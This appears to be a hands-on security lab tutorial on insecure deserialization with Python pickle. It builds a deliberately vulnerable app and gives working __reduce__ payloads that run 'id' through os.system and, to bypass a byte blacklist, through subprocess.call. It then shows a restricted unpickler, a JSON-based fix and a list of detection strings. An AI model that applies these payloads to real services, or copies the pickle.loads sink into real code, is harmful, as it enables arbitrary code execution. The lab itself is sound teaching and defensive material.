This lab demonstrates insecure deserialization with Python pickle.
We use Python because the primitive is clear: pickle.loads() can rebuild objects, and object reconstruction can call attacker-chosen behavior.
This is a local application lab. It does not require a web server.
Setup
Use a Linux VM or WSL.
Create a working directory:
mkdir -p ~/deserialization-lab
cd ~/deserialization-lab
Create the vulnerable application:
cat > app.py <<'EOF'
#!/usr/bin/env python3
import base64
import json
import pickle
import sys
from dataclasses import dataclass
@dataclass
class Session:
username: str
role: str
def decode_token(token):
return base64.urlsafe_b64decode(token.encode())
def encode_token(data):
return base64.urlsafe_b64encode(data).decode()
def load_basic(token):
raw = decode_token(token)
return pickle.loads(raw)
def load_blacklist(token):
raw = decode_token(token)
if b"os" in raw or b"system" in raw:
raise ValueError("blocked by blacklist")
return pickle.loads(raw)
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED = {
("__main__", "Session"),
("builtins", "str"),
}
def find_class(self, module, name):
if (module, name) in self.ALLOWED:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"blocked class: {module}.{name}")
def load_better(token):
import io
raw = decode_token(token)
return RestrictedUnpickler(io.BytesIO(raw)).load()
def load_fixed(token):
raw = decode_token(token)
data = json.loads(raw.decode())
if not isinstance(data, dict):
raise ValueError("state must be an object")
username = data.get("username")
role = data.get("role")
if not isinstance(username, str):
raise ValueError("username must be a string")
if role not in {"user", "operator"}:
raise ValueError("invalid role")
return Session(username=username, role=role)
LOADERS = {
"basic": load_basic,
"blacklist": load_blacklist,
"better": load_better,
"fixed": load_fixed,
}
def print_session(session):
print(f"username: {session.username}")
print(f"role: {session.role}")
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <basic|blacklist|better|fixed> <token>")
raise SystemExit(1)
stage = sys.argv[1]
token = sys.argv[2]
loader = LOADERS.get(stage)
if loader is None:
raise SystemExit("unknown stage")
session = loader(token)
print_session(session)
if __name__ == "__main__":
main()
EOF
chmod +x app.py
The application expects a base64 token.
In the vulnerable routes, the token contains a pickle object.
In the fixed route, the token contains JSON data.
Create A Normal Token
Create a normal pickle token:
python3 - <<'PY'
import base64
import pickle
from dataclasses import dataclass
@dataclass
class Session:
username: str
role: str
token = base64.urlsafe_b64encode(
pickle.dumps(Session("operator", "user"))
).decode()
print(token)
PY
Run the application:
TOKEN="PASTE_TOKEN_HERE"
python3 app.py basic "$TOKEN"
Expected:
username: operator
role: user
This proves normal deserialization works.
Basic Vulnerability
The vulnerable code is:
raw = decode_token(token)
return pickle.loads(raw)
pickle.loads() is the sink.
Create a malicious pickle token that runs a harmless local command:
python3 - <<'PY'
import base64
import os
import pickle
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
token = base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode()
print(token)
PY
Run it:
TOKEN="PASTE_TOKEN_HERE"
python3 app.py basic "$TOKEN"
Expected:
uid=...
The program may then crash with an attribute error because os.system() returns an integer instead of a Session object. That is fine. The command already executed during deserialization.
The key lesson:
Code ran before the application received a valid Session object.
Basic Protection - Weak Blacklist
The weak protection blocks two byte strings:
if b"os" in raw or b"system" in raw:
raise ValueError("blocked by blacklist")
This blocks the first exploit because the pickle references posix.system or os.system behavior.
Test:
python3 app.py blacklist "$TOKEN"
Expected:
blocked by blacklist
But the blacklist does not solve deserialization. We can use a different callable.
Create a bypass token using subprocess.call():
python3 - <<'PY'
import base64
import pickle
import subprocess
class Exploit:
def __reduce__(self):
return (subprocess.call, (["id"],))
token = base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode()
print(token)
PY
Run:
TOKEN="PASTE_BYPASS_TOKEN_HERE"
python3 app.py blacklist "$TOKEN"
Expected:
uid=...
The program may then crash with an attribute error because subprocess.call(["id"]) returns an integer instead of a Session object. That is fine. The command already executed during deserialization.
The blacklist blocked one spelling, not the primitive.
Better Protection - Restricted Unpickler
The better version restricts which classes can be loaded:
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED = {
("__main__", "Session"),
("builtins", "str"),
}
def find_class(self, module, name):
if (module, name) in self.ALLOWED:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"blocked class: {module}.{name}")
Run the malicious token:
python3 app.py better "$TOKEN"
Expected:
blocked class: ...
This is better because it blocks unexpected classes and callables.
It is still not ideal for untrusted input. The application is still using an object-capable format. The safer design is to parse data, validate it, and construct the object manually.
Fixed Version
The fixed version uses JSON and validates the data:
data = json.loads(raw.decode())
username = data.get("username")
role = data.get("role")
if role not in {"user", "operator"}:
raise ValueError("invalid role")
return Session(username=username, role=role)
Create a valid fixed token:
python3 - <<'PY'
import base64
import json
data = {"username": "operator", "role": "user"}
token = base64.urlsafe_b64encode(json.dumps(data).encode()).decode()
print(token)
PY
Run:
TOKEN="PASTE_JSON_TOKEN_HERE"
python3 app.py fixed "$TOKEN"
Expected:
username: operator
role: user
Try to become admin:
python3 - <<'PY'
import base64
import json
data = {"username": "operator", "role": "admin"}
token = base64.urlsafe_b64encode(json.dumps(data).encode()).decode()
print(token)
PY
Run:
TOKEN="PASTE_ADMIN_TOKEN_HERE"
python3 app.py fixed "$TOKEN"
Expected:
invalid role
The fixed version removes object deserialization from the trust boundary.
What This Proves
The vulnerable path:
attacker token
-> base64 decode
-> pickle.loads()
-> object reconstruction
-> __reduce__ chooses a callable
-> command runs
The fixed path:
attacker token
-> base64 decode
-> json.loads()
-> schema checks
-> manual Session construction
The difference is not base64. Base64 is only encoding.
The difference is whether the input can describe behavior.
Detection
Useful signals include:
- Base64 blobs that decode to binary serialized data.
- Python pickle protocol markers.
- Java serialized streams beginning with
ac ed 00 05. - PHP serialized object markers such as
O:. - Unexpected class names in deserialization errors.
- Deserialization failures after token tampering.
- Local commands or child processes spawned by application parsers.
- Tokens that produce side effects before validation errors.
For Python specifically, suspicious pickle-related strings include:
__reduce__
subprocess
posix
system
call
GLOBAL
REDUCE
Detection is not the fix. It shows where object-capable parsers are exposed to attacker-controlled data.